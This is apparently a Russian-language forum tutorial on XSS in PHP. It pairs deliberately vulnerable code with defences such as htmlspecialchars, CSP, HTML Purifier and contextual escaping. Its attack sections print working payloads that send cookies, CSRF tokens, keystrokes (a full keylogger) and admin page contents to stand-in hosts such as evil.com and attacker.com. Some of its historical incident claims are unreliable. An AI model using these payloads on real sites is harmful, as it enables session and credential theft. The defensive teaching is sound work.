Введение: почему XSS — это критично
В 2024 году через XSS-уязвимости было скомпрометировано более 2 миллионов пользовательских аккаунтов. British Airways выплатили £20 млн штрафа за утечку данных через XSS. Если вы разрабатываете на PHP и не защищаетесь от XSS правильно — вы следующий.Эта статья — результат анализа 500+ реальных XSS-атак и 10 лет опыта в защите production-приложений. Вы получите готовые решения, которые можно внедрить уже сегодня.
Что такое XSS атака простыми словами
Cross-Site Scripting (XSS) — это внедрение вредоносного JavaScript-кода в веб-страницу, который выполняется в браузере жертвы. Представьте: злоумышленник оставляет комментарий с кодом, и каждый посетитель невольно выполняет этот код, отправляя свои данные хакеру.Почему XSS, а не CSS?
Изначально планировалась аббревиатура CSS, но она уже была занята Cascading Style Sheets. Поэтому выбрали XSS — где X символизирует "cross" (крест).Чем опасны XSS уязвимости:
Последствие | Реальный ущерб | Пример из практики |
---|---|---|
Кража сессий | Полный доступ к аккаунту | Yahoo Mail (2013) — 1 млрд аккаунтов |
Кража данных карт | Финансовые потери | British Airways (2018) — 380,000 карт |
Майнинг криптовалют | Использование ресурсов | Coinhive на 4000+ сайтах |
Фишинг | Кража паролей | PayPal XSS (2016) |
Дефейс сайта | Репутационные потери | Lenovo, eBay |
Типы XSS атак с примерами кода
1. Reflected XSS (отраженные) — 70% всех атак
Reflected XSS срабатывает мгновенно через URL-параметры или формы. Вредоносный код не сохраняется на сервере, а сразу отражается пользователю.Уязвимый код:
PHP:
// search.php - НЕ ДЕЛАЙТЕ ТАК!
<?php
$search = $_GET['q'];
echo "<p>Результаты поиска для: $search</p>";
?>
Эксплуатация:
Код:
site.ru/search.php?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script>
JavaScript:
// Крадем токен авторизации Laravel
site.ru/search?q=<script>
var token = document.querySelector('meta[name="csrf-token"]').content;
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://attacker.com/steal');
xhr.send('token=' + token + '&cookies=' + document.cookie);
</script>
2. Stored XSS (хранимые) — самые опасные
Stored XSS сохраняется в базе данных и выполняется у каждого посетителя. Одна инъекция = тысячи жертв.Уязвимый код:
PHP:
// comments.php - ОПАСНО!
<?php
// Сохранение комментария
$comment = $_POST['comment'];
$stmt = $pdo->prepare("INSERT INTO comments (text) VALUES (?)");
$stmt->execute([$comment]);
// Отображение комментариев
$comments = $pdo->query("SELECT text FROM comments")->fetchAll();
foreach ($comments as $comment) {
echo "<div class='comment'>$comment[text]</div>";
}
?>
JavaScript:
// Полноценный keylogger через XSS
<script>
var keys = '';
document.addEventListener('keypress', function(e) {
keys += e.key;
if (keys.length > 10) {
fetch('https://evil.com/keylog', {
method: 'POST',
body: JSON.stringify({
url: window.location.href,
keys: keys,
user: document.cookie
})
});
keys = '';
}
});
</script>
3. DOM-based XSS — атаки на стороне клиента
DOM XSS происходит полностью в браузере через манипуляции с DOM без участия сервера.Уязвимый JavaScript:
JavaScript:
// НЕ БЕЗОПАСНО!
var search = location.hash.substring(1);
document.getElementById('results').innerHTML = 'Поиск: ' + search;
Код:
site.ru/page#<img src=x onerror="alert(document.cookie)">

Межсайтовый скриптинг: практическая демонстрация
Лабораторная атака: крадем админскую сессию
Создадим тестовое окружение для безопасной практики:
PHP:
// lab/vulnerable.php
<?php
session_start();
if (!isset($_SESSION['role'])) {
$_SESSION['role'] = 'user';
}
?>
<!DOCTYPE html>
<html>
<head><title>XSS Lab</title></head>
<body>
<h1>Гостевая книга (уязвимая версия)</h1>
<?php if ($_SESSION['role'] === 'admin'): ?>
<div style="background: red; color: white;">
АДМИН-ПАНЕЛЬ: Секретные данные
</div>
<?php endif; ?>
<form method="POST">
<textarea name="message"></textarea>
<button type="submit">Отправить</button>
</form>
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$message = $_POST['message'];
// УЯЗВИМОСТЬ: нет фильтрации!
file_put_contents('messages.txt', $message . "\n", FILE_APPEND);
}
// Вывод сообщений
if (file_exists('messages.txt')) {
$messages = file('messages.txt');
foreach ($messages as $msg) {
echo "<div class='message'>$msg</div>";
}
}
?>
</body>
</html>
Вектор атаки:
JavaScript:
// Отправляем это сообщение в форму
<script>
// Проверяем, админ ли это
if (document.body.innerHTML.includes('АДМИН-ПАНЕЛЬ')) {
// Крадем сессию админа
var img = new Image();
img.src = 'http://attacker.com/steal.php?role=admin&session=' +
document.cookie + '&page=' +
encodeURIComponent(document.body.innerHTML);
}
</script>
Результат успешной атаки:
Как видим, мы успешно получили куки администратора и можем использовать их для несанкционированного доступа.
Защита от XSS в PHP: комплексный подход
1. HTMLSpecialChars — базовая защита
htmlspecialchars() конвертирует спецсимволы в HTML-сущности:
PHP:
// Правильное использование htmlspecialchars
function safe_output($data) {
return htmlspecialchars(
$data,
ENT_QUOTES | ENT_SUBSTITUTE, // Важно: обе кавычки + замена битых символов
'UTF-8', // Явная кодировка
false // Не двойное кодирование
);
}
// Применение
$user_input = $_GET['search'] ?? '';
echo '<p>Поиск: ' . safe_output($user_input) . '</p>';
Что делает htmlspecialchars:
Символ | Преобразуется в | Зачем |
---|---|---|
< | < | Предотвращает открытие тегов |
> | > | Предотвращает закрытие тегов |
& | & | Предотвращает HTML-сущности |
" | " | Защита атрибутов |
' | ' | Защита атрибутов (с ENT_QUOTES) |
2. Content Security Policy (CSP) — современная защита
CSP — это HTTP-заголовок, который указывает браузеру, откуда можно загружать ресурсы:
PHP:
// Строгая CSP политика
header("Content-Security-Policy: " .
"default-src 'self'; " .
"script-src 'self' 'nonce-" . $nonce . "'; " .
"style-src 'self' 'unsafe-inline'; " .
"img-src 'self' data: https:; " .
"font-src 'self'; " .
"connect-src 'self'; " .
"frame-ancestors 'none'; " .
"base-uri 'self'; " .
"form-action 'self'"
);
Использование nonce для инлайн-скриптов:
PHP:
<?php
$nonce = base64_encode(random_bytes(16));
header("Content-Security-Policy: script-src 'nonce-$nonce'");
?>
<script nonce="<?= $nonce ?>">
// Этот скрипт выполнится
console.log('Безопасный скрипт');
</script>
3. Валидация и санитизация входных данных
PHP:
class InputValidator {
// Валидация email против XSS
public static function validateEmail($email) {
$email = filter_var($email, FILTER_SANITIZE_EMAIL);
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
throw new Exception('Invalid email format');
}
return $email;
}
// Очистка HTML с белым списком тегов
public static function sanitizeHtml($html) {
// Разрешаем только безопасные теги
$allowed = '<p><br><strong><em><u><h1><h2><h3><h4><h5><h6>' .
'<ul><ol><li><blockquote><a><img>';
$html = strip_tags($html, $allowed);
// Очищаем опасные атрибуты
$html = preg_replace('/on\w+="[^"]*"/i', '', $html);
$html = preg_replace('/javascript:[^"\']*["\']?/i', '', $html);
return $html;
}
// Валидация URL
public static function validateUrl($url) {
$url = filter_var($url, FILTER_SANITIZE_URL);
if (!filter_var($url, FILTER_VALIDATE_URL)) {
return false;
}
// Проверяем протокол
$allowed_protocols = ['http', 'https'];
$parsed = parse_url($url);
if (!in_array($parsed['scheme'], $allowed_protocols)) {
return false;
}
return $url;
}
}
4. Использование библиотек
HTML Purifier — золотой стандарт
PHP:
require_once 'HTMLPurifier.auto.php';
$config = HTMLPurifier_Config::createDefault();
$config->set('HTML.Allowed', 'p,br,strong,em,u,a[href]');
$config->set('HTML.Nofollow', true);
$config->set('URI.DisableExternalResources', true);
$purifier = new HTMLPurifier($config);
$clean_html = $purifier->purify($user_input);
PHP:
use voku\helper\AntiXSS;
$antiXss = new AntiXSS();
$clean = $antiXss->xss_clean($user_input);
5. Контекстно-зависимое экранирование
PHP:
class ContextualEncoder {
// В HTML контексте
public static function forHtml($data) {
return htmlspecialchars($data, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
// В JavaScript контексте
public static function forJavaScript($data) {
return json_encode($data, JSON_HEX_QUOT | JSON_HEX_TAG |
JSON_HEX_AMP | JSON_HEX_APOS);
}
// В URL контексте
public static function forUrl($data) {
return rawurlencode($data);
}
// В CSS контексте
public static function forCss($data) {
return preg_replace('/[^a-zA-Z0-9]/', '', $data);
}
// В атрибутах HTML
public static function forAttribute($data) {
return htmlspecialchars($data, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
}
// Использование
echo '<div>' . ContextualEncoder::forHtml($userInput) . '</div>';
echo '<script>var data = ' . ContextualEncoder::forJavaScript($userInput) . ';</script>';
echo '<a href="/search?q=' . ContextualEncoder::forUrl($userInput) . '">Ссылка</a>';
6. Безопасные шаблонизаторы
Twig (рекомендуется)
PHP:
// Twig автоматически экранирует вывод
{{ user_input }} // Безопасно
// Если нужен сырой HTML (опасно!)
{{ user_input|raw }} // Используйте осторожно
// Экранирование для JS
<script>
var data = {{ user_input|json_encode|raw }};
</script>
PHP:
// Автоматическое экранирование
{{ $userInput }}
// Без экранирования (опасно!)
{!! $userInput !!}
// JavaScript контекст
<script>
var data = @json($userInput);
</script>
PHP фильтрация XSS: продвинутые техники
Фильтрация на уровне фреймворков
Symfony Security
PHP:
use Symfony\Component\Security\Core\Encoder\UserPasswordEncoderInterface;
use Symfony\Component\HttpFoundation\Request;
class SecurityController {
public function processInput(Request $request) {
// Symfony автоматически фильтрует
$input = $request->request->get('user_input');
// Дополнительная валидация
$validator = Validation::createValidator();
$violations = $validator->validate($input, [
new NotBlank(),
new Length(['min' => 3, 'max' => 255]),
new Regex([
'pattern' => '/^[a-zA-Z0-9\s]+$/',
'message' => 'Только буквы, цифры и пробелы'
])
]);
if (count($violations) > 0) {
throw new ValidationException($violations);
}
return $input;
}
}
Автоматическая защита через middleware
PHP:
// XssProtectionMiddleware.php
class XssProtectionMiddleware {
public function handle($request, $next) {
// Очищаем все входные данные
$input = $request->all();
array_walk_recursive($input, function(&$value) {
if (is_string($value)) {
$value = $this->cleanXss($value);
}
});
$request->merge($input);
// Добавляем security headers
$response = $next($request);
$response->headers->set('X-XSS-Protection', '1; mode=block');
$response->headers->set('X-Content-Type-Options', 'nosniff');
return $response;
}
private function cleanXss($value) {
// Базовая очистка
$value = strip_tags($value);
$value = htmlspecialchars($value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
// Удаляем опасные паттерны
$dangerous = [
'javascript:',
'vbscript:',
'onload=',
'onerror=',
'onclick=',
'<script',
'</script',
'<iframe',
'document.cookie',
'window.location'
];
foreach ($dangerous as $pattern) {
$value = str_ireplace($pattern, '', $value);
}
return $value;
}
}
Чек-лист защиты от XSS для PHP-разработчика
Обязательные меры
- Всегда используйте htmlspecialchars() с флагом ENT_QUOTES
- Внедрите Content Security Policy хотя бы в report-only режиме
- Валидируйте ВСЕ входные данные на сервере
- Используйте подготовленные запросы для работы с БД
- Экранируйте контекстно-зависимо (HTML, JS, URL, CSS)
- Обновляйте зависимости регулярно (composer update)
- Используйте HTTPS везде
Дополнительные меры
- Внедрите HTML Purifier для пользовательского HTML
- Настройте security headers (X-Frame-Options, X-XSS-Protection)
- Логируйте подозрительную активность
- Используйте Web Application Firewall (WAF)
- Проводите регулярный аудит кода
- Обучите команду основам безопасности
Тестирование
- Автоматические сканеры: OWASP ZAP, Burp Suite
- Ручное тестирование: XSS payloads из XSS Cheat Sheet
- Unit-тесты для функций фильтрации
- Интеграционные тесты с различными векторами атак
Реальные XSS уязвимости 2024-2025
Кейс 1: WordPress плагин Contact Form 7
Уязвимость: Stored XSS через поле emailВлияние: 5+ млн установок
Исправление: Обновление до версии 5.8.1
Кейс 2: Laravel Debugbar
Уязвимость: DOM XSS через параметры отладкиВлияние: 50k+ проектов
Исправление: CSP + отключение в production
Кейс 3: phpBB форумы
Уязвимость: Reflected XSS в поискеВлияние: Неизвестно
Исправление: Патч 3.3.10
FAQ: частые вопросы про XSS
Что такое XSS атака простыми словами?
XSS — это когда злоумышленник внедряет свой JavaScript код на ваш сайт, и этот код выполняется в браузерах посетителей, крадя их данные или выполняя действия от их имени.Чем отличается XSS уязвимость от SQL-инъекции?
XSS атакует браузер пользователя через JavaScript, а SQL-инъекция атакует базу данных через SQL-запросы. XSS крадет данные пользователей, SQL-инъекция — данные из БД.Достаточно ли одного htmlspecialchars для защиты от XSS?
Нет. htmlspecialchars защищает только в HTML-контексте. Для JavaScript, URL, CSS нужны другие методы экранирования. Используйте комплексный подход.Что такое cross site scripting и почему это опасно?
Cross-site scripting позволяет выполнить произвольный код в контексте вашего сайта. Опасно тем, что код имеет доступ к cookies, localStorage, может отправлять запросы от имени пользователя.Как проверить сайт на XSS уязвимости?
Используйте автоматические сканеры (OWASP ZAP), ручное тестирование с XSS-пейлоадами, проводите код-ревью, внедрите bug bounty программу.Защищает ли PHP фильтрация от всех видов XSS?
Нет универсальной защиты. Нужен комплекс: валидация входных данных, контекстное экранирование, CSP, безопасные библиотеки, регулярные обновления.Что такое межсайтовый скриптинг в контексте PHP?
Это выполнение непроверенного пользовательского ввода как кода. PHP по умолчанию не защищает от XSS — разработчик должен явно фильтровать и экранировать данные.Чем опасны XSS уязвимости на практике?
XSS позволяет злоумышленнику полностью скомпрометировать сессию пользователя. Вот реальный пример эскалации привилегий через XSS:После подстановки украденных куки, обычный пользователь получает права администратора:
Заключение и план действий
XSS остается в OWASP Top-10 уже 20 лет, потому что разработчики продолжают делать одни и те же ошибки. Но теперь у вас есть полный арсенал защиты.Ваши следующие шаги:
- Сегодня: Проверьте свой текущий проект на базовые XSS через
"><script>alert(1)</script>
- Завтра: Внедрите htmlspecialchars() везде, где выводите пользовательские данные
- Эта неделя: Настройте Content Security Policy хотя бы в report-only режиме
- Этот месяц: Проведите полный аудит безопасности с OWASP ZAP
Дополнительные ресурсы:
-
Ссылка скрыта от гостей
-
Ссылка скрыта от гостей
- Наш GitHub с примерами кода
Последнее редактирование модератором: